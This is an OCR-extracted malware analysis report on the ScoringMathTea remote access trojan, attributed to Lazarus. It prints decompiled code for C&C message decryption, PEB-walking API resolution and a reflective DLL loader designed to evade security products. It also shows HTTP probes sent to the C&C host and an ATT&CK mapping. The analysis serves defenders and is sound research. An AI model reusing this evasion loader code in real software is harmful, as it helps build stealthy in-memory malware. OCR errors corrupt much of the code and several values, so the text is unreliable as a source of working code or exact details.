if ( smt_c2_filter_html_garbage(v3@, data_c2_recv, HIDWORD(Size), extracted_data, &Size) =1 )
{
ptr_extracted_data = *extracted_data;
if ( *extracted_data )

{
ptrSize = Size;
i€ 0 <ioo N

Below you can see the content of the function that removes HTML header ( smt_c2_filter_html_garbage ), if

identified.

unsigned int p Size ; // esi

unsigned int ret code; // ebx

__int6d v9; // xmm@ 8

char http data_recv[272]; // [rsp+28h] [rbp-138h] BYREF

p_Size = p_Size;
memset(http data recv, 8, B8x104u);
ret_code = 1;
if ( data c2 recv )
{
if ( p Size »>= OxF )
{
vl = *data c2 recv;
*&http data_recv[8] = *(data_c2 _recv + 2);
*&http data recv[12] = *(data _c2 recv + 6);
http _data _recv[14] = *(data_c2_recv + 14);
*http data _recv = v9;
if ( !stremp(http data recv, "<!DOCTYPE html>") )
{
ret_code = @;
*p Sizea = p_Size - 15;
*extracted _data = data _¢2 recv + 15;
}
¥
¥

return ret code;

When testing a POST request, it’s possible to identify the header that is filtered, as we will observe later.
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Request
Pretty Raw Hex

1 POST /ckeditor/adapters/index.php HTTP/2

2 Host: www.mnmathleague.org

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; x64) ApplellebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.42
4 Content-Type: application/x-www-form-urlencoded

5 Content-Length: 22

6

7

enRUBBAU=hibuib=wibz1r
@&« »

Response

Pretty Raw Hex Render

HTTP/1.1 400 Bad Request

Date: Thu, 13 Hov 2025 ©1:23:06 GMI

Server: Apache

Content - Length: 226

Connection: close

Content-Type: text/html; charset=iso-8859-1

0N i B W e

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.@//EN">
9 <html>
<head>
1@ <title>
400 Bad Request
</title>
11 </head>
<body>
12 <hl>
Bad Request
</hl>»
13 <p>
Your browser sent a request that this server could not understand.<br />

And when we simply send a GET request to the root domain, we get a fatal PHP error, indicating that the

website is indeed fake, not even containing a page at the root of the domain.

Request
Raw  Hex N
1 GET / HTTP/1.1
2 Host: wuw.mnmathleague.org
3 User-Agent: Mozilla/5.0® (Windows NT 10.0; Win64; x64) ApplelWebKit/537.36 (KHTML, like Gecko) Chrome/167.0.0.0 Safari/537.36 Edg/107.0.1418.42
4 Content-Type: application/x-www-form-urlencoded
5

é@e» o

Response
Pretty ~ Raw  Hex  Render
HTTP/1.1 200 OK
Date: Thu, 13 HNov 2025 ©1:49:24 GMT
Server: Apache
Vary: Accept-Encoding
Content -Security-Policy: frame-ancestors 'self';

1
2
3
a4
5
6 Connection: close
7 Content-Type: text/html; charset=UTF-8
8 Content-Length: 409

9

]

1

12

11 Marning: require_once(./sitecode/kssiteconfig.php): Failed to open stream: llo such file or directory in /home/uzoadmin/public_html/index.php on line 4
13 Fatal error: Uncaught Error: Failed opening required './sitecode/kssiteconfig.php® (include_path=".:/usr/local/apps/php82/1ib/php') in /home/uzoadmin/public_html/index.php:4
14 Stack trace:

15 #0 {main}
16 thrasn in /home/uzoadmin/public_html/index.php on line 4

After stripping the header, the agent will receive an encrypted payload, extract a key and an Initialization
Vector ( IV ) from it, and use this key to generate a decryption key schedule through two preparation functions.
Then, it uses this key schedule and the IV to decrypt the payload in-place using a variant TEA algorithm in CBC
mode . Finally, the resulting plaintext payload is checked; if a flag in the header indicates that the data is

compressed, it decompresses it before moving the final command to an execution buffer. Below, we can observe

the flow of this execution.
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smt_crypto_TEA expandkey((ptr_c2 response_buff + 5), ptr_tea_encrypt_key_ schedule);
smt_crypto_TEA prepare_decrypt_keys(ptr_tea_encrypt_key schedule, ptr_tea_decrypt key_schedule);
if ( ptr_c2 response_buff == -5 )

*pIV = 0;
*errno() = 22;
invalid_parameter_noinfo();

}

else

*pIV = *(ptr_c2 response_buff + 5);
¥
smt_crypto_TEA decrypt_CBC(

ptr data buffer,

ptr data buffer,

ptr buffer size,

ptr tea decrypt key schedule,

pIv,

2);
compressed_size = *(ptr_data_buffer + 1);

Size_4 = compressed_size + 8;
if ( compressed_size + 8 <= ptr_buffer_size && compressed_size <= exCeea )

if ( (*ptr_data_buffer & @x200) != 9 )

encode_value_II = @;
LODWORD(Size) = @;
smt_util_decompress_payload(
compressed_size,
(ptr_data_buffer + 8),
compressed_size,
&encode_value_TT,
&Size);
ptr_rat_cmd_buffer = rat_cmd_buffer_ptr;
hMem_1 = encode_value_1IT;
*rat_cmd_buffer_ptr = *ptr_data_buffer;

This communication mechanism with C&C is the core of ScoringMathTea . This entire flow is executed to

receive and execute commands.

Analysis of the Modular Capacity for Injecting Memory-Reflected Plugins

Another extremely interesting feature is the ability to load and inject reflected plugins into memory. Let’s see.
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ScoringMathTea Reflected
Plugin Injection Flow

Main Task Manager of the
| Plugin Load

Plugin Loading Orchestrator

The Reflective Plugin Loader

The plugins that are loaded into memory in ScoringMathTea are loaded using the Reflective DLL Injection
technique, receiving the plugin through the communication flow with the C&C analyzed previously, and

implemented in three main layers:

e The Main Task Manager of Plugin Load: This is the handler function for orchestrating the download and
loading of the plugin.

e Plugin Loading Orchestrator: This function prepares the environment, loading the necessary DLLs and
APIs using the PEB Walking technique. In addition, this function feeds a structure I called PE_CONTEXT ,
which will contain information about the plugin that will be loaded into memory. This same function is
responsible for cleaning up memory using APIs (loaded by the same API Hashing method analyzed

previously).

Below you can see the orchestrator’s body, which calls upon the two main functions that will do the heavy lifting.
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PE_CONTEXT *_ fastcall smt_load_rat_module(
_IMAGE_DOS_HEADER *buffer_allocated,
DWORD flag_plugin,
wchar_t *error_status,
__int64 null)

smt_api_table *apis_dlls_struct; // rax
smt_api_table *ptr_apis_dlls; // rsi

PE_CONTEXT *pe_context; // rax

PE_CONTEXT *ptr_pe_context; // rdi

HGLOBAL (__ stdcall *GlobalFree)(HGLOBAL); // rbx

apis_dlls struct = smt_load apis_dlls(); // Load DLL and APIs through PEB Walk
ptr_apis dlls = apis_dlls_struct;
if ( lapis_dlls_struct
|| (pe_context = (apis_dlls_struct->pGlobalAlloc)(GMEM_ZEROINIT), (ptr_pe context = pe_context) == @) )

if ( error_status )
*error_status = OxFF;
return 9;
H
pe_context->exec_flag = 0;
pe context->status_code = 0;
pe_context->d11l_table = ptr apis dlls;
pe_context->plugin_flag = flag plugin;
if ( !smt_reflective_plugin_loader(pe_context, buffer_allocated, flag_plugin, null) )// Plugin Reflective Injection
{
if ( error_status )

*error status = ptr_pe context-»status_code;
GlobalFree = ptr_apis_dlls->pGlcbalFree;
(GlobalFree)(ptr_pe_context);
(GlobalFree)(ptr_apis_dlls);
return 0;

¥

if ( error_status )
*error_status = @;

return ptr_pe context;

When we enter the smt_load_apis_dlls function, we can observe the implementation of the PEB Walking
technique, with the goal of dynamically loading kernel32.d11 , and a series of 7 APIs , which will be used

later.
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peb = NtCurrentPeb();
wescpy (kernel32.d11, L"kernel32.d11");
if ( peb )
i
Ldr = peb-»>Ldr;
if ( Ldr )
{
p InLoadOrderModulelist = &Ldr->InLoadOrderModulelist;
for ( plListEntry = *p_InlLoadOrderModulelist;
pListEntry != p_InloadOrderModulelist;
pListEntry = pListEntry-»>InLoadOrderLinks.Flink )}

pFullDl1Name
ptr_kernel32
while (1)
{ /{ Implementation of wecsicmp in-line
LOWORD(ptr pFullDllMame) = *pFullDllName++;
if ( (ptr_pFullDllName - 65) <= @x19u )}
LOWORD(ptr pFullDllName) = ptr pFullDllName + 32;
ptr_pFullDl1lMame 1 = *ptr kernel32++;
if ( (ptr pFullDllName 1 - 66) <= @x17u )
ptr_pFullDl1lName_1 += 32;
if ( !'ptr pFullDllName )}
break;
if ( ptr_pFullDl1lName != ptr_pFullDllName_1 )
{
result wcsicmp = ptr_pFullDllName - ptr_ pFullDllName 1;
goto API_LOADING;
}

}
result wcsicmp = -ptr pFullDllName 1;

API LOADING:
if ( !result__wcsicmp )
{
dll base = plListEntry->D11Base;
if ( d11 base )
{
strcpy(GetProcAddress, "GetProcAddress");
ptr_GetProcAddress = smt_module parsing din_api(dll base, GetProcAddress);
strcpy(GlobalAlloc, "GlobalAlloc™);

plistEntry->BaseDl1Name.Buffer;
kernel32.dll;
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gmemcpy(Globz1Fr, "GlobalFr", sizeof(GlobalFr));
if ( !ptr GetProcAddress )
ptr GetProcAddress = smt_module parsing din_api;
strcpy(ee, "ee");
ptr_GlobalAlloc = smt_module_parsing_din_api(dll_base, GlobalAlloc);
ptr GlobalFree = smt_module parsing din_api(dll base, GlobalFr);
GlobalFree = ptr_GlobalFree;
if ( ptr_GlobalAlloc )

{
if ( ptr_GlobalFree )

{
ptr epis handles table = (ptr GlobalAlloc)(GMEM _ZEROINIT, GMEM ZEROINIT);
apis_handles_table = ptr_apis_handles_table;
if ( ptr_apis_handles_table )
{
51128 = mm_load si128(&: :GetModuleHandle);
ptr_apis handles table-»>pGetProcAddress = ptr GetProcAddress;
GetModuleHandle = 5i128;
ptr_apis_handles_table-»>pGlobalAlloc = ptr_GlobalAlloc;
ptr_apis _handles table-»>pGlobalFree = GlobalFree;
vid = 8;
pGetModuleHandle = ptr_GetProcAddress{dll_base, &GetModuleHandle);
apis_handles_table->»pGetModuleHandle = pGetModuleHandle;
if ( pGetModuleHandle )
{
strepy(LoadlibraryA, "LoadlibraryA");
pLoadlLibraryA = ptr_GetProcAddress(dll_base, LoadlibraryA);
apis_handles_table->ploadLibraryA = ploadlibraryA;
if ( plLoadLibraryA )
{
strepy(VirtualAlloc, "VirtualAlloc™);
pVirtualAlloc = ptr_GetProcAddress{dl]l_base, VirtualAlloc);
apis_handles table-»pVirtualAlloc = pVirtualAlloc;
if ( pVirtualAlloc )
{
strepy(VirtualFree, “WirtualFree");
pVirtualFree = ptr_GetProcAddress(dll base, VirtualFree);
apis_handles table-»pVirtualFree = pVirtualFree;
if ( pVirtualFree )

{
strepy(VirtualProtect, "WirtualProtect™);

The API offsets are stored in a structure, which is later called to use the APIs, as shown below.

00000000 struct smt_api table // sizeof=0x40

000oooee {

00eRRRE0 void *pGetProcAddress;
0Pee0ROS void *pGetModuleHandle;
00010 void *plLoadlLibraryh;
0Pee0013 void *pVirtualAlloc;
00000020 void *pVirtualFree;
0PPe0023 void *pVirtualProtect;
00eRRR30 void *pGlobalAlloc;
0PPeRR38 void *pGlobalFree;

P0BP040 };
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From this point on, the orchestrator function follows the flow for the Reflected loading of the Plugin.

o The Reflective Plugin Loader: This is the function that manually implements the Windows Loader, where
it takes the plugin (a PE artifact), submits it to a custom in-line CRC32 algorithm to perform a checksum

of the mapped plugin, maps it in memory, and finally executes it.

Right at the beginning of the function, it’s possible to see that the plugin must be a PE artifact, since the function
checks both DOS and PE headers.

if ( !'pe_context )
return @;
p dll table = &pe context->dll_table;
dll table = pe context->dll_table;
if ( !d11 table || !pe_module )
return @;
ne context->status_code = 8;
mz header = pe module->e_magic == @x5A4D;
if ( pe module-»e _magic != Bx5A4D
|| (e_lfanew = pe_module-»e_lfanew,

~

mz _header = *(&pe module->e_magic + e lfanew) == Bx4550,
1 ~1fanew) = 0x4558) )
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The function then manually maps the PE plugin in memory, allocating memory regions for each section. Basically,
this function implements the Windows Loader manually and in a customized way, to avoid detection by

cybersecurity products.
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ALLOCATE_MEM_TO_PE_SECTIONS:
if ( !mz_header )
goto END_FUNCTION;
dwSize = @;
VirtualAlloc = dl11_table->pVirtualAlloc;
ptr_nt_headers = (pe_module + pe_module-»e_lfanew);
ptrVirtualAlloc = VirtualAlloc;
number sections = ptr_nt headers-»>FileHeader.NumberOfSections;
ptr_number_sections = number_sections;
if ( ptr_nt_headers->FileHeader.NumberOfSections )
{
ptr_number_symbols = &ptr_nt_headers[1].FileHeader.NumberOfSymbols;
ptr_num_sections = number_sections;
do
{
Characteristics = ptr_number symbols[@xFFFFFFFFFFFFFFFFULL].Characteristics;
if ( Characteristics )
{
section_characteristics = *ptr_number_symbols->Name + Characteristics;
if ( dwSize ¢ section_characteristics )
dwSize = section_characteristics;
¥
++ptr_number_symbols;
--ptr_num_sections;

while { ptr_num_sections };
H
size_image = dwSize;
buff_pe mapping = (VirtualAlloc)(
ptr_nt_headers->0ptionalHeader.ImageBase,
dwSize,
MEM_COMMIT_MEM_RESERVE,
PAGE_READWRITE);
ptr_buff_pe_mapping = buff_pe_mapping;
if ( !buff_pe mapping
&& (buff_pe mapping = (VirtualAlloc)(®, size image, MEM_COMMIT_MEM RESERVE, PAGE_READWRITE),
(ptr_buff_pe_mapping = buff_pe_mapping) == @)
|| (buff pe mapping ptr = (VirtualAlloc)(

hiff ne manninge
This function also implements a custom in-line CRC32 algorithm, which creates the CRC32 table on the stack
and performs a checksum of the mapped plugin, in order to guarantee the integrity of the plugin and that
everything has gone as expected. This is also an efficient method for detecting software breakpoints in debuggers.

After generating the checksum, the function calls a routine to modify the protections of the previously allocated

memory regions, in a manner appropriate for each section.
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CRC32_CHECKSUM_SET_SECTION_PROTECTIONS:
image_size = pe_context->image_size;
ptr_crc32_table = crc32_table;
pimage base = pe context->image_base;
LODWORD(tahle idx) = @;
do // generate a custom CRC32 Table on Stack
{ // to Integrity Check od the Mapped Plugin
bit counter = 8;
table_entry = table_idx << 24;
do
{
temp_check = table_entry;
temp_shift = 2 * table_entry;
table entry = (2 * table _entry) ™ 8x4C10DB7;
if ( temp_check »>= @ )
table_entry = temp_shift;
--bit_counter;
H
while ( bit_counter );
*ptr_crc32_table = table_entry;
table_idx = (table_idx + 1);
++ptr_crc32_table;

¥
while ( table idx < 256 );
for ( crc32 checksum = @; image size; --image size )

{
current_byte = *pimage_base++;
crc32_checksum = crc32_table[current_byte *» (crc32_checksum »>> 24)] * (crc32_checksum << 8);

}

*(&pe_context->image_size + 1) = crc32 checksum;

if ( lsmt_set_section_protections(pe context, crc32 checksum, table idx) )
goto CLEAN_UP;

Finally, this function manually implements the Windows Loader, ensuring that the plugin received by C&C was

properly loaded manually, thus avoiding detection by certain cybersecurity products.

When loading the plugin into memory, the main function implements a loop to manually identify a function
exported by the loaded plugin, identified as exportfun . Upon identifying this function exported by the plugin, it

will be executed.
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if ( !ptr_nt_header )
goto LABEL 44;

export_dir = (ptr_nt_header
+ *(&ptr nt header-»0ptionalHeader.DataDirectory[2].VirtualAddress
+ ptr_nt_header->0ptionalHeader.FileAlignment));
ptr names table = (&ptr nt header->Signature + export dir->AddressOfiames);
ptr_ordinals_table = (ptr_nt_header + export_dir->AddressOfName0rdinals);
ptr addr func = (&ptr nt header-»>Signature + export dir->AddressOfFunctions);
idx = @;
if ( export dir->NumberOfFunctions <= 8 )
{
VAl = @;
goto LABEL_A45;
}
*&ptr num names = export dir->NumberOfFunctions;
name_idx = @;
while ( 1 )
{
ptr_export name = ptr_nt_header + ptr_names_table[name_idx];
*&stremp_context = “exportfun@®" - ptr_export_name;
while ( 1 )
{

target str = ptr_export_name[*&strcmp_context];
source_str = *ptr_export_name++;
if ( ltarget str )
break;
if ( target str != source str )
{ -
strcmp_result = target str - source str;
goto LABEL 42;

¥
¥
stremp_result = -source_str;
LABEL_42:
if ( !stromp_result )
break;
++1dx;

if ( ++name_idx >= *&ptr_num_names )
goto LABEL_44;

Conclusion

Therefore, based on all this analysis, the research concludes that ScoringMathTea is a modular Remote Access
Trojan (RAT), designed for evasion, with a sophisticated architecture to avoid detection both on the network and at
some endpoint aspects. Its C&C communication, operating over HT'TP/S with SSL bypass, is a multi-layered
channel that protects its command payloads through Base64 encoding, encryption (likely TEA/XTEA in CBC
mode), and optional compression. The malware’s core capability it’s a reflective plugin loader capbility, that

load a plugin in DLL format, allowing the operator to download and execute plugins entirely in memory.

The most critical potential evasion mechanism is the manual mapping of the IAT (Import Address Table). The
malware implements the PEB Walking technique (via smt_load_apis_dlls) to locate kernel32.dll and manually
obtain a “clean” pointer to GetProcAddress. With this, it builds its own API table (smt_api_table) at runtime,

containing non-hooked pointers to VirtualAllec, VirtualProtect, LoadLibraryA, etc. This secure table is then

used by its loader (smt_reflective_plugin_loader) to perform manual plugin mapping, resolving imports, applying
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relocations, verifying module integrity with a dynamically generated CRC32, and finally applying the correct
memory permissions (smt_set_section_protections) before invoking the plugin’s standard exported function

(“exportfun®) to execute the malicious code related to the installed Plugin.

With this, I conclude this research. I hope that all of you who have read this far have learned something or found

something interesting. Until next time!

MITRE ATT&CK Mapping

With the goal of mapping the implementations identified during the analysis, the MITRE ATT&CK mapping from

ScoringMathTea is shown below.

Tactic (ID) Technique (ID) Comment (Context from our Analysis)

Defense The ScoringMathTea ‘s core capability. It
. Reflective Code Loading ) )

Evasion (T1620) loads plugins (DLLs) directly from

(TA0005) memory without writing them to disk.

Implements PEB Walking to locate

Execution . kernel32.d1l and its own version of
Native API (T1106) .
(TA0002) GetProcAddress to trying to bypass API
hooking.
Obfuscated Files or ) '
Defense ScoringMathTea’s manually implemented
. Information: Dynamic API . .
Evasion . a Dynamic API Resolution, through API
Resolution )
(TA0005) Hashing .
(T1027.007)
Defense . Spoofs a legitimate Microsoft Edge
. Masquerading: Browser ) ) )
Evasion . . User-Agent string to make its C&C traffic
Fingerprint (T1036.012)
(TA0005) blend in with normal network activity.
Actively filters HTML tags (like
Defense . L
. Virtualization/Sandbox <!DOCTYPE html> ) from C&C responses,
Evasion
Evasion (T1497) maybe can be used to defeat captive
(TA0005) )
portals and automated sandbox analysis.
Calculates a CRC32 checksum of its own
Defense ) )
. . in-memory module after loading to detect
Evasion Debug Evasion (T1622) . .
if an analyst has applied patches or
(TA0005)
tampered with it.
Defense Suppresses all system error dialogs to
Evasion Hide Artifacts (T1564.004) ensure the malware fails silently without
(TA0005) alerting the user.

Page 29 of 30



Tactic (ID)

Command
and Control
(TA0011)

Command
and Control
(TA0011)
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Technique (ID)

Application Layer Protocol:
Web Protocols (T1071.001)

Encrypted Channel:

Symmetric Cryptography

(T1573.001)

References & Links

Gotta Fly: Lazarus targets the UAV sector.

e ScoringMathTea Python String Decryption.
e ScoringMathTea Python API Hash Algorithm.

e ScoringMathTea Yara Rule.

Comment (Context from our Analysis)

Uses standard HTTP/S POST requests
for all C&C communications. It also
bypasses SSL/TLS certificate
validation, allowing it to use self-signed

or invalid certs.

C&C payloads are protected in multiple
layers: compressed, then encrypted with
a symmetric algorithm (identified as
TEA/XTEA), and finally Base64

encoded.

Source: https://0x0d4y.blog/arsenal-analysis-of-a-nation-state-actor-an-in-depth-look-at-lazarus-scoringmathtea/
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